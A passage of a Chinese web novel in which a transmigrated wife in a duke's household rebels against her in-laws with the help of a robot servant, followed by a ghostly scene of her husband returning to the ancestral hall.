在这位任务者的认知里，似乎只有她成为一个完美的受害者，她才是无懈可击的，才有资格得到每个人的同情和惋惜的，才能在死后得到男主最大程度的懊悔的。 那么，什么样的受害者，才是完美的好女人？ 从来不辜负别人的女人。 以及，从来只被别人辜负的女人。 这样的女人，必然是最容易因她的死亡而得到同情和惋惜的吧？ 抱着这样的想法，她用尽全力地活着，但却不是为了“女主”和“自己”而活，而是为了别人眼中的自己而活、为了获取别人的同情赞美而活，就此日复一日，年复一年，不知经过了多少个任务。 按理来说，人类的思维是有惯性的，是会被重复的思维固定行为习惯的。 所以在没有外力干涉的情况下，这位任务者应该会一直这样走下去，直到将自己彻底套进凝固的框架里，再无法挣脱。 可偏偏，也不知道为什么，在这位任务者成为“倪静如”的大半个月后，在她小产的那一天，也不知她想到了什么、经过了怎样的心路历程，她突然就从这个名为“好女人”的猩红美梦里惊醒了过来。 她再也不执着成为一个等级森严的父权社会里的“好女人”了。 并且，她似乎也不再执着他人的目光了。 在“倪静如”的日常行程里，她一直都像一头老黄牛一样。 明明她是世子夫人，并且手上攥着能撑起整个镇国公奢靡生活无数年的嫁妆，可她偏偏这些年来睡得比狗晚，起得比鸡早，每日一睁眼就是打理内宅和管理铺子，生生把自己活成了一个连高级打工人都算不上的小可怜。 更令人生气的是，她如此耗尽心血，也没得到半句好。 镇国公府那群人，分明吃着她的用着她的——是的，在倪静如和慕容寻拉扯的那些年，就连慕容寻送倪静如的礼物，其实都是走的倪静如的账——但他们嘴上心里都半点不念她的好，连伸手要她出钱时都分外理直气壮。 问就是你以一介商女之身，得到了世子夫人这个身份，成为了镇国公府未来的女主人，如今只是让你出一些阿堵物而已，你竟然还敢心有怨愤？ 总之，都是一些让颜辞云只是旁观都觉得相当恼火的人和事。 曾经的任务者对此逆来顺受，镇国公府要什么她便给什么，哪怕被恶毒女配骑在头上作威作福，她也依然定时起床拨算盘。 可如今，在她流产后，坐小月子的这段时间，她却是彻底把镇国公府撂下了。 自己的嫁妆收拾好，公库归公库，私库归私库。 乔玉卿想要管家？ 随她管，但一分钱都别想从她倪静如这里抠。 反正慕容寻不是说，镇国公府这些年来花的一直都是他的俸禄以及镇国公府的百年积累吗？ 那就让乔玉卿去找镇国公府的百年积累去吧！ 顺便带上慕容寻的那三瓜两枣。 镇国公府的老太君生病了要以百年老参入药？ 随你入，打开你们镇国公府的百年积累，想来里头随便找找都有数不尽的千年老参万年灵芝。 她这个身份低微的商女就不参与这种瓜田李下的活动了。 镇国公府未出阁的小姐想办赏花宴？ 随你办，以你们镇国公府的名头，想来轻而易举就能约到最漂亮的园子，请来最有名的戏班，欣赏最稀奇的花，她一介商女，身份不够贵重，就不去京城的贵妇小姐们眼前丢人现眼了。 还有下人们的月例与打赏，人情往来的支出和赠礼，屋宅的维修和翻新，花木的移植和维护，以及主子下人们四季的定制衣物，厨房的抛费，等等，这些事务，统统与她一个坐小月子的卑贱商女无关，都莫要来找她了！ 就这样，在倪静如彻底撂开手、不去当那个逆来顺受的沉默的好女人后，短短三天不到，整个镇国公府里便成了一锅粥，无论是主子还是下人，全都是人仰马翻。 这倒不是乔玉卿作为清高才女没有管家之能，而实在是巧妇难为无米之炊。 于是这几天里，乔玉卿明里暗里地让人给倪静如递了无数话，在镇国公府仅剩的三个主子耳边吹了无数的鬼风，主旨就是一个： 让倪静如把嫁妆交出来！ 慕容寻和老太君尚且坐得住，虽然两人坐得住的原因各不相同。 可慕容萱，也就是慕容寻最小的妹妹，却是最沉不住气的那个人。 在受到乔玉卿的挑拨后，她第一个付诸行动，冲到了倪静如的院子里，劈头盖脸就对着自己的大嫂一顿训斥。 最后，她傲慢说道：“我知道你这般推三阻四，不过是想要显出你在我们家的地位，想要以此拿捏乔姐姐，顺便让我哥更看重你一些罢了。 “呵，果然是商户出身，尽耍弄些上不得台面的手段！不过，看在你这么些年没有功劳也有苦劳的份上，若是你乖一点的话，我也能在我哥面前为你美言几句，让他多来看看你。日后，待乔姐姐进门了，也不至于让你独守空房…… “所以，倪静如，你可知道你该做什么了吗？！” 倪静如当然知道自己该做什么。 她反手在商城里兑换了一具仿真机器人，让这个表面上看是个年轻姑娘实则是只听她话的冰冷机械，一把提着自己小姑子的衣领，狠狠丢出了门外。 “倪静如！你竟敢这么对我？！你以为你还是以前那个被我哥捧在手心里的人吗？就不怕我哥再也不来你的院子了吗！” 门外，慕容萱不可置信地大喊大叫。 门内，倪静如神色冷漠。 “萱儿——这是我最后一次这样叫你了。当初，你在垂髫之年就遭逢大难，于流放的路上颠沛流离，数次险死还生。我怜你命运多舛，自幼失怙，便在入门后对你多加照拂，为你重金求药，将你养在身旁。 “你虽是叫我嫂子，可于我而言，你和我的女儿没什么不同，所以你懂事后瞧不上我商女身份，对我百般看不惯，我也不同你计较。你不想早早出阁，我便顶着压力向老太君说情；你喜好玩乐，我便耗费千金在寸土寸金的京城做出游园。 “无论你想要什么，我都会想办法帮你得到，无论你有什么愿望，我都会千方百计为你达成。我自认我对你尽心尽力，我一生中没有半点对不住你的地方，可你呢？你对得住我吗？！ “在得知你哥要娶乔玉卿为平妻时，你慕容萱欢欣鼓舞；在乔玉卿每次说我坏话的时候，你在一旁屡屡附和。甚至你还为了乔玉卿冲锋陷阵，弃我对你的养育之恩于不顾！慕容萱，你摸着你的良心说，你对得起我吗？！” 慕容萱愤怒道：“什么‘恩情’？你不过是想要借着讨好我来讨好我哥罢了，你不过是念着你之前的那个奸夫，又想要吊着我哥而已，你对我这个作弄我哥的筏子能有什么‘恩情’？还是说你以为旁人都看不穿你的真面目、弄不明白你的真实目的吗？！ “倪静如，想你这种朝三暮四水性杨花的女人，不被浸猪笼都是我们镇国公府怜惜你一条性命，我们镇国公府对你已经是仁至义尽了！真正该感恩该报恩的人，分明是你！ “倪静如，我话撂在这儿了，倘若你还是这样执迷不悟，想要在我镇国公府摆架子拿捏人，那就别怪我告到老太君那儿去，让老太君来收拾你！” 倪静如笑了一声，摇了摇头后，又笑了一声。 像是自嘲，还像是早有预料。 “那你便去罢。奶娘，关门，送客！” 慕容萱愤愤不平地离开了。 而倪静如则撑着她亏损严重的身子，开始换衣梳妆，因为她知道，接下来她还有一场硬仗要打。 果不其然，几乎就在倪静如把自己打扮得能见外人的下一秒，镇国公府老太君的心腹婆子就来了。她站在院子里，像是不屑踏足屋内，只面无表情地说老太君传唤世子夫人，让倪静如动作利落点，赶紧拾掇好自己去老太君跟前回个话。 这般态度和言论，就好像倪静如并不是镇国公府的世子夫人，而是签了卖身契，任由主家拿捏的小丫鬟一般，实在是过分瞧不起人了。 如果是往常，倪静如也好任务者也好，都只能忍。 因为这个婆子是长辈身边得用的人，而无论是性格、礼法还是人情，甚至是从外人对“世子夫人”的评价出发，都不容倪静如发作。 可今天，面对这个向来对她盛气凌人、从来只用眼角皱纹夹她的婆子，倪静如扶着宋奶娘的手走出屋子，淡淡一笑，侧头嘱咐自己的万能机器人。 “初阳，掌嘴。” 第127章 是谁 “杀了他们，一个不…… 这一刻，几乎所有人都被吓到了。 就像是看到只懂得逃跑的兔子突然回头蹬人，就像是看到从来低头拉磨的老驴甩下了驴套。 但人会吓到，机器人不会。 因此，在这个所有人都呆滞的瞬间，被取名为初阳的机器人却是毫不迟疑，径直上前，抬手便给了那婆子一记重重的耳光。 啪！ 这声音，结实得院子里所有的丫鬟婆子们听了都要抖三抖。 但其实如果不是倪静如事先嘱咐了初阳，让她莫要表现得太出格太超人，否则以初阳的力道，她随手一巴掌下去，把这婆子甩得原地转三圈都是没问题的。 “你、你……大胆！” 那婆子终于回了神，吐出了一颗牙后，捂着自己的脸，看向倪静如的目光又是惊惧又是厌憎，但更多的，却是一种火辣辣的被羞辱感。 要知道，她可是老太君身旁的得用人！虽说只是个婆子，但地位却和地主家养尊处优的老夫人没什么不同。 更何况，老太君并不是世子夫人的婆母，而是祖母，是整个镇国公府里辈分最高的人，她李嬷嬷的身份地位自然也是水涨船高。 哪怕是世子慕容寻，见了她也得恭恭敬敬叫一声李妈妈，更何况是这位商户出身的世子夫人？ 放在往常，这个商户女在她面前可是大气都不敢喘的！ 可如今、如今，这个身份低贱的商户女，竟然当着院子里这么多丫鬟仆役面前，让她身旁那个身份更低贱的丫鬟打了自己耳光？ 这简直就是奇耻大辱！ 如果不是这位李嬷嬷实在身体够好，她几乎想要原地晕过去，以免面对院子里头那些小蹄子们的眼神。 李嬷嬷怒火中烧，梗着脖子，高声道：“世子夫人怕是贵人多忘事，已然忘了李老婆子我乃是老太君身旁的人，无论是责罚也好管教也好，都得先禀明老太君才行，是万万轮不到世子夫人动手的。 “更何况，老婆子我来到夫人的芳菲苑，是来替老太君传话的，可世子夫人却二话不说就给了老婆子我一耳光——世子夫人如此作为，可是世子夫人觉得自己坐稳了国公府女主人的位置，便瞧不上老太君了？！” 李嬷嬷浸淫内宅多年，深知下药挑拨说小话等阴私手段，其实都是小道。 唯有给人扣帽子，用吃人不吐骨头的孝道和礼法逼迫对方才是王道，才能害了那人还叫人有苦说不出，甚至连怨恨的心都不敢升起，咬碎了牙和血吞也得恭恭敬敬在你面前低头，说一句“承蒙指点，不甚感激”。 因为个人与个人之间、个人和家族之间，或许还能有抗衡之力，可一个人的力量，要如何对抗这个世道？如何对抗代表着世间正法的孝道和礼法？！ 不可能的。 千人所指，无病而死。 谁敢对抗？ 谁能对抗？ “倪静如”能。 或者说，携着界外系统而来的任务者，可以对抗。 当她不再去遵守那一套对自己毫无优势的规则、试图利用这套本就蔑视她的规则去与上位者艰难对抗时；当她不再拘泥于外人眼里的“好女人”“好媳妇”的评价，不再想要把自己打造为一个完美受害者时；当她不再主动将那一套枷锁套在自己的脖子上，任由它将自己越绞越紧还将这份窒息当作自己接近胜利的曙光时—— 那些所有的让颜辞云这种外来者想不通的“神逻辑”，就这样自然而然、理所当然地崩溃了。 这一刻，倪静如甚至都不需要像以往那样耗费精力来为自己辩解，斟词酌句地证明自己没有与世道和孝道礼法对抗心，费尽心机地重新占据道德礼法的至高点为自己夺回“优势”。 是的，不需要。这些冗余的、令人深恶痛绝的所谓的“规矩”和“规则”，统统都不需要！ 她只需要轻睨一眼，说一句话就够了： “初阳，掌嘴，既然李嬷嬷不会说话，那就给我打到她会说话为止！” 掌嘴又见掌嘴。 这是所有人都想不到的反应！ 因为——“世子夫人”怎么能做这样的事？ 一个“好女人”、“好媳妇”，怎能在夫家如此专横跋扈？！ 但初阳依然坚定执行。 啪！ “大胆的贱蹄子，你竟然敢——” 啪！ “世子夫人，你这般打老婆子，打的可不止是老婆子的脸，更是打了老太君——” 啪！ “世子夫人你这般嚣张，目无礼法，就连对长辈身旁服侍的仆役都这般寡恩少义，可知传到外头去后外人会如何——” 啪！ “世子夫人你哪怕不为自己的名声着想，也要为你们倪家的名声着想啊！你可知你这般行事传出去后外人会如何看待——” 啪！ “世子夫人如此百无禁忌，肆意妄为，可知世子知晓后会如何——” 啪！ 啪！ 啪！ 事实证明，人都是有共通性的，至少在哐哐作响冷酷无情的巴掌面前，再硬的嘴巴都是软的。 无论是仙侠版霸总龙斯年也好，还是趾高气昂的老嬷嬷也好，在面对这样硬的巴掌时，总是会恍然大悟，深刻认知到自己的错误，为自己的口不择言出言不逊而痛哭流涕、深刻忏悔。 两人的区别仅在于挨的耳光多少罢了。 果不其然，很快的，当肿成猪头连话都说不清的李嬷嬷痛哭跪地，痛心疾首地忏悔自己的过错后，倪静如便也让初阳停了巴掌，直接提着这个猪头去了老太君的院子。 这时，倪静如已经在芳菲苑里耽搁了一段不短的时间，而她对李嬷嬷的严厉惩戒也早已在下人里头传开。 老太君这边的院子自然也少不了人通风报信。 在得知自己派去传话的人竟被向来看不太上的商户女当众惩戒后，老太君勃然大怒，拐杖杵得地板咚咚直响。 这会儿，老太君的腰也不酸了腿也不疼了，也不需要有人日夜侍奉还要用百年老参入药了。 她健步如飞，走得那叫一个虎虎生风，比现代公交车上把弱鸡上班族一挤一个屁股敦的老人家还要强壮！ 她让人叫上了一群膀大腰圆的杂役婆子，气势汹汹地就要去芳菲苑捞人，顺带（主要）教导一下她那个“不通礼数”“粗俗不堪”的孙媳妇！ 甚至，她还派人去叫了上值的慕容寻，誓要在慕容寻面前对倪静如这个“败坏镇国公府家风的恶毒女人”当面问责。 可倪静如的动作更快！ 没等老太君走出院子，她就直接打上了门——物理意义的“打”上了门。 轰！ 随着一声令镇国公整座府邸都抖三抖的巨响，老太君的南山居就这样被人一脚踹开！ 门闩断裂，木屑飞溅。 门扇脱落，摇摇欲坠！ 倘若不是走在前头的婆子仆役们机敏，退得及时，怕是也要跟门扇一样被大力出奇迹的初阳直接拍飞了！ 而当初阳大摇大摆走进院内，环视四周时，众人目瞪口呆，噤若寒蝉，纷纷低头撇眼，避开了她的视线，只觉得初阳那张圆圆讨喜的脸庞，都在那扇分明厚重却被一脚踹烂的大门映衬下显得不怒自威了起来。 之后，初阳没有说话，干脆地让开身，露出了后头被宋奶娘搀扶着的倪静如。 而直到这时，暗暗屏住呼吸的南山居众人，才终于松了口气，重新听到了自己和身旁人们呼吸的声音： 还好还好，原来不是抄家啊。 院子里的老太君瞧着熟悉的脸，也是松了口气。 因这样的一幕多年前她也曾见过，正是在镇国公府被抄家下狱的那一天！ 如今她骤然重温，差点没真吓出个好歹来。 可是，当这口气松懈下去后，下一秒，当老太君反应过来到底发生了什么时，一种更不可思议的恼怒和羞辱感涌上，把她气得浑身发抖。 “好、好，好！老大家的，你真是好得很！谁给你的胆子在我的院子里放肆？！” 这一刻，原本被打软了膝盖，一路上安静如鸡的李嬷嬷，也哇地一声哭了出来，像是终于找到了能给自己撑腰的人，连滚带爬地来到了老太君面前，在老太君面前哐哐磕头。 “老太君，您可要为我做主啊！” 在老太君身后亦步亦趋的慕容萱目光惊疑不定：“你——你是——” 老太君不可思议：“你是李嬷嬷？！” 李嬷嬷顶着猪头脸，哭得涕泪横流：“是啊，是啊老太君，就是我啊！老太君您不知道，世子夫人她对您可不满了，在芳菲苑见到我后，哪怕老奴我再如何恭谨、如何申明老奴我是来替老太君您老人家传话的，世子夫人她都半点不听，二话不说就将老奴我在人前赏了一顿嘴巴子…… “老奴我不活了啊，我活不下去了！我李嬷嬷跟了老太君您这么多年，代表的就是老太君您的脸面，何时丢过这么大的人？而且还是在为老太君您传话的时候？主辱臣死，主辱臣死！老奴我虽只是一介小小奴婢，却也愿以性命守护老太君您的威严！” 说着，李嬷嬷嗷了一声，就要冲去撞柱，但因她动作过慢，很快就被人七手八脚地拉住。 但是，李嬷嬷的这一番唱念做打并非无效之功。 只见原本还勉强绷得住的老太君，此刻已是被气得七窍生烟，整张老脸都开始控制不住地抽搐： “好啊，好啊，竟然还有这般事？倒是我小瞧你了，老大家的。 “你这般目无礼法，不敬长者，飞扬跋扈，肆意妄为，不但横冲直撞，擅闯长辈的院子，甚至还无故殴打长辈身边服侍的人，你就对老身我有这么大的意见？还是说这就是你们倪家的家教？！ “你可知，以你的这般作为，只要传出去一星半点，以后你倪家的女儿便再也没有一人能嫁出去；而老身我只要给太后娘娘皇后娘娘那边稍上半句话，你倪家皇商的身份、百年的经营，便是荡然无存！ “还是说你以为你嫁进了我国公府，靠你狐媚的能力，把国公府的主子迷得神魂颠倒，便是把我整个镇国公府都绑上了你倪家的船？呵，痴心妄想！ “如今我的话便放在这儿了，倘若你倪静如即刻落发，去慈心庵里静修，这辈子都不再踏出慈心庵一步，我还能放你们倪家一马，否则待我叫人把你押去慈心庵时，我定要你整个倪家都万劫不复、懊悔生下了你这么一个女儿！” 老太君的姿态无疑是高傲又严厉的。 因为她有这个资本。 并且老太君跟慕容萱也不一样，半句没有提到倪静如的嫁妆问题。 可是，哪怕用脚趾头想也知道的是，当倪静如被迫进了庵堂后，那笔庞大的嫁妆哪里还由得倪静如做主？ 到时候，还不是镇国公府想怎么花用就怎么花用？！ 这样的事，倪静如看得出来，镇国公府的下人们也并不迟钝，甚至就连围观的局外人颜辞云都察觉出了味儿来。 颜辞云若有所思，想这，这是否也是“倪静如”执着于成为一个“好女人”的原因？这是否也是“倪静如”那些神逻辑的由来？ 因为假如“倪静如”真的只是倪静如，她除了遵守这个吃人的规则，低头成为一个完美无瑕、无懈可击的“好女人”之外，是没有任何挣扎办法的，只能在这苦水一样的日子里生熬。 等到她熬死老太君，熬到小姑子出阁，熬到自己有了一儿半女，熬到老天收了慕容寻和乔玉卿之外，她或许终于能熬出头，给自己熬来人生中最后几年的喘息之机。 而就连这样生熬的苦日子，都已经是最幸运的发展了。 因为真正的苦，是还活着就失去了自己的所有，被夫家名正言顺抢走一切，再随手关进庵堂，从此以后活得像个畜生，连死了也悄无声息。 至于像大女主爽文一样，与辜负自己的渣男和离，大张旗鼓地带走自己的所有嫁妆，与错过的青梅竹马重修旧好，或者嫁个更有权势还忠心不二的男人，最后与新夫君携手笑看国公府楼塌了，看渣男贱女自食恶果？ 别开玩笑了！ 在这个女人能和牲畜同卖、典妻□□合法合礼的年代，真以为法律写下来会保护女人的财产吗？ 女人根本就没有财产，她自己就是男人的财产！ 于是，也是在这一刻，颜辞云福至心灵，想到了这样的话： 当一个人表现得非常缺爱，不停向他人祈求认可、爱意还有同情时，其实并不代表那个人真的缺爱，而代表那个人彻底的失权。 就像是颜辞云在赛博修仙世界里看到的那些为了学习而卖血卖根骨，接着借网贷，最后选择跳楼的学生们。 是他们不想过更好的生活吗？是他们没有反抗之心、没有长远目光，选择了与虎谋皮，所以活该遭受苦难吗？ 不，依然是因为他们失权。 于是，当颜辞云明白了这个关键点后，那所有关于“任务者倪静如”身上合理不合理的一切，便也被拂去迷雾，一点点清晰起来。 “性格……是由环境塑造的……” 为什么任务者在成为明懿长公主的那个任务里，她分明身居高位，却依然把自己的日子过得像苦情小白花？ 因为任务者自身长期处于受到压迫的紧绷的环境里，没有人拯救过她，释放过她，所以哪怕她日后脱离了那个环境，变成了其他任何人，她都依然活在自己的囚笼中，并按照自己的生活惯性，一次次走回到她之前的生活节奏里，一次次变回那个逆来顺受的人。 还因为她从始至终都没有掌握过权力，也没有人教她使用过权力。 人怎么能想象出自己从未接触过的东西？人怎么能使用自己从未获得过的工具？所以她也不知道，她其实是可以用权力来保护自己免受伤害的。 “出身低微，所嫁非人。”颜辞云下了第一个结论。 为什么任务者有那么多颜辞云无法理解的神逻辑？ 为什么每次在与虐文男主和恶毒女配冲突时，她都会自然而然地退步，自然而然地低头，从来没想过反抗？ 为什么她这样执着于“完美女人”的人设？ “她不是现代人……她是真正的古代女人！并且，她的夫家势大，就像是镇国公府对倪家一样，是压倒性的强势，她无人可依，又无法反抗，所以习惯了低头生活的日子。”颜辞云得到了进一步的答案。 为什么任务者那样执着于男主的懊悔？ 为什么任务者坚信只要她是个完美的女人、只要她以完美的姿态死去，所有人都会后悔莫及？ 颜辞云恍有所悟：“因为……” 因为她真的——死过了一次。 她曾经带着难以磨灭的污点死去，并在死后受到了无数人的憎恶和唾骂，没有得到任何人的同情和怜悯。 她的夫家没有为她的死亡掉过一滴泪，她的娘家或许也并不真正在乎她的死活。 明明她含冤而死，但那些害了她的人却没有半点报应，甚至连半点心虚半点怜悯都没有过。 于是在死后一遍遍的徘徊里，她质疑自己、告诉自己： 世界上是有公道的，我本来也可以不必遭遇这一切的，而我落得这样的下场，一定全都是因为我还不够完美。 如果我是以完美姿态死去的就好了，如果我变成了一个无可挑剔的好女人就好了。 只要我变成了一个完美的女人，那么那些指责我的人，一定也会为我的死而惋惜，而我的丈夫，也一定会后悔莫及吧？ 而到了那时候…… 我的死亡，也一定会引来他们的报应吧？！ ——这是一个只能以死亡来谋求公道、期冀报应的人。 颜辞云目光缓缓移动，从关注“倪静如”的境遇和她遇到的人与事，变成了关注“倪静如”本身。 ——所以，这个“倪静如”，究竟是谁？ 为什么她会成为任务者？为什么她会在这一个个任务里穿梭？ 为什么以她那样绝不可能得到回报的付出、绝不可能得到悔恨的逻辑，竟真的一次次得到了回报？ 所谓的“系统”，还有它的目的，究竟是什么？ 颜辞云觉得，自己似乎已经隐约有了头绪。 而另一头，身在局中的“倪静如”，却似乎比颜辞云这个局外人还要更早明白这一切。 ……不，其实也不算“早”。 因为她其实是在将这一切事重复了一百遍、一千遍、一万遍后，才终于明白了这个道理： 人能依靠的，只有自己。 能为自己寻回公道的，只有自己。 只有自己，才能千百遍地将自己拯救于绝望中。 可她实在是太愚蠢了，她实在是太迟钝了，竟然直到今天才终于明白她究竟在做什么。 但还好，一切应该都不晚，对吗？ 这一刻，在面对这位高傲又暗藏贪婪的老太君时，倪静如突兀地发出一声笑。 这一声笑，有可能是自嘲。 但放在此情此景下，却只有对镇国公府上下的无尽嘲讽。 老太君万万没想到会得到这样的回应，瞬间破防，对着倪静如厉声指责起来。 明明在镇国公府翻案的那一年，她还是一位还如同风中残烛的老妪，而在吃了她倪静如十年的孝敬和补品后，她便用她倪静如精心侍奉好的身子，厉声斥责和咒骂她，好似她倪静如是世界上最恶毒上不得台面的女人。 而一旁来告状的慕容萱，则是叽叽喳喳地帮腔。 明明是倪静如从小养大的姑娘，但却一直视她被倪静如养育的那段时光为耻辱，恨不得将倪静如踩进泥里，最好抹去倪静如的所有痕迹，以此与倪静如划清界限、撇清干系，也好抹去那段与商女为伍的耻辱日子。 甚至是这些曾经被镇国公府牵连，之后又被她费尽心力找回的镇国公府的老人。 明明这些人都已经被发送去了河道修桥补路，日日过得生不如死，在镇国公府翻案后也没人想起。是她主动提起这些人，主动用钱打点上下，把他们带了回来，可他们依然因一个商户的身份而瞧不起她，因镇国公府主子们对她的厌恶而争先恐后地来践踏她。 甚至是慕容寻，甚至是倪家，甚至是她曾经寄希望过的前未婚夫…… 分明一切都已经这样清楚了，分明她早就知道“好女人”是没有尽头的，为何她还痴心妄想，一次次想要得到回报、得到悔恨，妄图自己的死能勾动这些人一星半点的同情怜悯？ 为什么直到现在她才醒悟过来？！ 倪静如又笑了一声，眼泪却是毫无征兆地滚落。 这一刻，她不想再听这些人的任何指责，不想再看这些人的半点轻蔑了。 她推开了身旁的宋奶娘，也推开了身旁的丫鬟婆子，于是下一秒，宋奶娘的身形便化作虚无，那些曾对她忠心耿耿的丫鬟，也融入了光一样的火焰里。 颜辞云敏锐注意到，这些原本真实存在的灵魂，突然消失不见了。 似乎是去…… 往生了？ 而与此同时，除了被倪静如主动推开的人——或者说是灵魂——之外，其他人的灵魂，却变得更真实，也与倪静如的距离更近了。 颜辞云目光微动：倪静如想要做什么？ 这一刻，倪静如独自站在了这些人的面前。 不，她并非独自而来，她是带着她的怨恨与希望，站在了这些人面前。 “初阳，记住南山居里的这些人了么？”倪静如的目光轻飘飘扫过了院子里的这些人。 初阳一板一眼回答：“记住了。” 倪静如道：“记住就好——” 她的声音如此冰冷，冷酷无情。 “杀了他们，一个不留。” 第128章 惩戒 他如此痛悔，如此绝…… 当慕容寻恍恍惚惚地抬起头时，他发现，自己竟然不知什么时候站在了镇国公府门前。 为何？ 此刻，他不是应该正当值吗？为什么他会回到家门前？ 不，不，不对，等等……是了，他记起来了。 原来，就在不久前，老太君派人来传话，说他的世子夫人倪静如德行有亏，不孝不悌，要他立即赶回镇国公府，去往祠堂，当着列祖列宗的面，用祖宗家法处置了这个商户女，万不可对此女有半点徇私。 慕容寻听了这个消息，只感到一种说不出的痛啃噬着他的心，让他不知该如何是好。 为何静如和祖母总是不能处好关系呢？ 为何静如总是要拿捏着她的清高架子，不肯稍稍向祖母低头呢？ 分明祖母年纪已经那般大了，命运还那般坎坷，当年流放的路上吃了那么多的苦，而静如一生却是养尊处优，虽是身份低微的商户女，却有他这个镇国公府世子早早相护，过了一生荣华富贵的日子……她都已经得到这样多了，还有什么不满足的？还有什么和祖母过不去的？ 稍稍向祖母低个头又能如何？ 唉，在这一点上，静如可远比不上卿卿。 瞧，卿卿就从来不会用这些内宅之事烦他，并且一直都为他排忧解难，实在是一朵再贴心不过的解语花了，就连祖母和小妹对卿卿也是交口称赞，从未说过她半句不好……大约，这就是商户女的局限吧。 看来，自古就在说着的“门当户对”，果然还是有道理的，商户就是商户，确实上不得台面啊…… 慕容寻在镇国公府的门前胡思乱想着，为自己这鸡犬不定的内宅关系而满心烦忧。 但与此同时，另一种说不清道不明的预感、一种不知由来的恐惧，却在他心底幽幽升起，如同附骨之疽，挥之不去。 他的身体不知道什么时候微微颤抖了起来，似乎是在本能地恐惧着什么；他的心底深处有某个声音在无形的屏障内横冲直撞，疯狂嘶吼着，似乎是在发出绝叫一般的警告。 可慕容寻的理智对此半点没有发觉，只自顾自地迈脚，踏进镇国公府的大门。 吱呀—— 凄凉近乎刺耳的门轴转动声响起，像是跨越了时光，从许多许多年前传来，和视线里油光发亮的崭新门轴半点都不相配。 可慕容寻什么都没有注意到。 之后，随着慕容寻一步步深入镇国公府，在慕容寻走过的路上，凡他所过之地，无论是婀娜多姿的繁花，还是欣欣向荣的绿树，都以不可思议的速度枯萎，眨眼间就失了所有生气，那枯败萎顿的凄怆模样，半点也不像是堂堂镇国公府里会瞧见的景色。 可慕容寻什么都没有看到。 他独自深入了镇国公府，向着祠堂的方向走去，长长的路上，他没有遇到任何一个门房、小厮，家丁、侍卫，也没有看到有任何一个洒扫丫鬟、杂役婆子。 可慕容寻什么都没有注意到。 最后，慕容寻走过了一段好似漫长又好似短暂的路。 他分明记得自己是亲自走过的，可他脑中对这段路的记忆却如雾中看花，朦胧模糊。 只觉得只是一个晃神，他便稀里糊涂地站在了祠堂前，抬眼瞧见漆黑的夜色下，祠堂内人影憧憧，灯火通明，就像是燃起了一把烈火，将整个夜晚都照亮了。 天黑了？ 天……这么快就黑了？ 这样的念头虽然生了出来，但却是一闪而逝，只短短不到瞬间，它就和他心底的咆哮尖叫一同消弭在虚无中。 于是慕容寻坦然走进了祠堂，神态自若，带着一种能轻易主宰他人命运和未来的权力和从容。 此时此刻，慕容家的祠堂内，也不知道是不是光影的作用，慕容寻奇怪发现，祠堂里的祖母也好小妹也好，甚至是乔玉卿也是，看起来竟然都比慕容寻记忆中的她们年长许多，就连她们的发髻都挽了起来，变成了已婚妇人的发式。 不过，说到底，这些只是小细节、小变化而已。 慕容寻恍惚记得，小妹慕容萱前两年已经嫁人了，卿卿也已经过门数年，前不久更是被诊出怀有身孕，装扮上不再与以往相似也是正常的。 所以，真正让慕容寻吓了一跳的，还是跪在牌位面前的倪静如！ 也不知道他的这位世子夫人又在闹什么，此刻，她形容枯槁，披头散发，明明正值严冬，却刻意穿了一身单薄破烂的衣物，也不知道是想要控诉什么，还是想要用这种不入流的手段引起他的怜惜。 更让慕容寻不满的是，倪静如本来是有一张极美的脸和一双极美的手的。 事实上，当年他还是个逃跑的小乞儿时，就是被这双手所吸引了，感到那双向他递来糕点馒头的纤纤玉指仿佛会发光！ 所以那时候，他便暗暗发誓，待到他功成名就之际，必要来迎娶这双手的主人！ 可如今，或许是时间磨灭了记忆中的辉光，又或许是这双手本来就不怎么样，是他的爱才将这双手赋予了高贵。 如今再看时，它其实比府中的粗使婆子还要不如，粗糙生茧，骨节弯曲，皮肤下的冻疮挤得手指臃肿丑陋，说是鸡爪子也没什么差别。 甚至就连那张曾经让人惊艳的面庞，都变成了“红颜枯骨”，即一层被蜡黄的皮包裹着的骷髅，让慕容寻望而生厌。 慕容寻下意识皱眉，心中越发恼怒，不知道自己的这位夫人又在做什么妖—— 不能像卿卿那样如花儿般精致娇嫩就罢了，为何还要这般刻意地把她自己弄得如此丑陋、如此不堪？ 难道是想要用这种方式来让人以为他镇国公府是如何苛待了她这位曾经的世子夫人吗？ 真是丑人多作怪！ 懒得再多看倪静如一眼，慕容寻上前向老太君行礼，道：“祖母，你怎的如此大动干戈，可是那妇人又做了什么惹您生气了？” 慕容寻没有听原委，也懒得听，毕竟他向来了解倪静如的脾性和教养，知道这个商户女除了空有一身美貌、又好运地被他迎娶为世子夫人之外，性格向来都是古怪狂悖的。 往日里，她顶撞祖母、苛待小姑的事，做了也不是一天两天了，如果没有他暗地里看顾着，她背地里还不知道要做出多少刻薄狂妄的事来。 而后，随着如夫人卿卿的进门，她更是被嫉妒冲昏了头，行事越发没有章法，丢尽了镇国公府的脸。 还好祖母及时出手，将越发疯狂的倪静如关在了小佛堂里，命令她每日吃斋念佛、修身养性，无事不要踏出佛堂打扰旁人。 这样处置，已经够宽容了。 要知道，放在寻常人家，像倪静如这样恶毒的疯妇是绝对要被休弃的！ 而如今，他镇国公府依然保留着她最后的尊荣，给她留下了一席安身之地，好吃好喝地供着她，待她已是仁至义尽，可她却半点不知感恩。 前两天，在如夫人卿卿被府医诊出怀有身孕时，他心下大喜的同时，心有触动，想到了自己的老妻，便派遣自己的小厮去小佛堂，瞧瞧镇国公府的世子夫人现在如何了。 结果却得知这个疯女人对镇国公府心怀怨恨，日夜都在咒骂着镇国公府上下的主子！ 慕容寻实在是对自己的这位身份低微的发妻厌烦极了，再懒得过问她的任何事。 所以，此刻，慕容寻不必问都知道，既然这疯妇被祖母押来，跪在祠堂面前，那肯定是这疯妇的过错！ 绝不会再有第二个答案了！ 看到慕容寻如此坚决的态度，老太君脸色稍霁，果然给出了那个疯妇的罪名： 私通外男。 并且，那个外男还有一个慕容寻一辈子都忘不了的名字，程尚文。 ——正是那个疯妇曾经的未婚夫！ 在看到这个十余年未见的人被五花大绑，重新出现在自己面前时，慕容寻只感到自己脑中嗡的一声，一种难以言喻的羞辱涌上，让他整个人都气得发抖。 果然—— 果然他就知道！ 果然是这个男人！ 这么多年来，倪静如这个疯妇果然从没忘记过她的第一个男人！ 他就知道，她这么多年来对他忽冷忽热，就是因为她心里还想着别的男人，而他，堂堂镇国公府未来的主人，就是娶了这样一个水性杨花不守妇道的女人，还在她身上浪费了整整十年时间？ 可笑，可笑！ 滑天下之大稽！ 慕容寻全心全意地沉浸在这份暴怒之中。 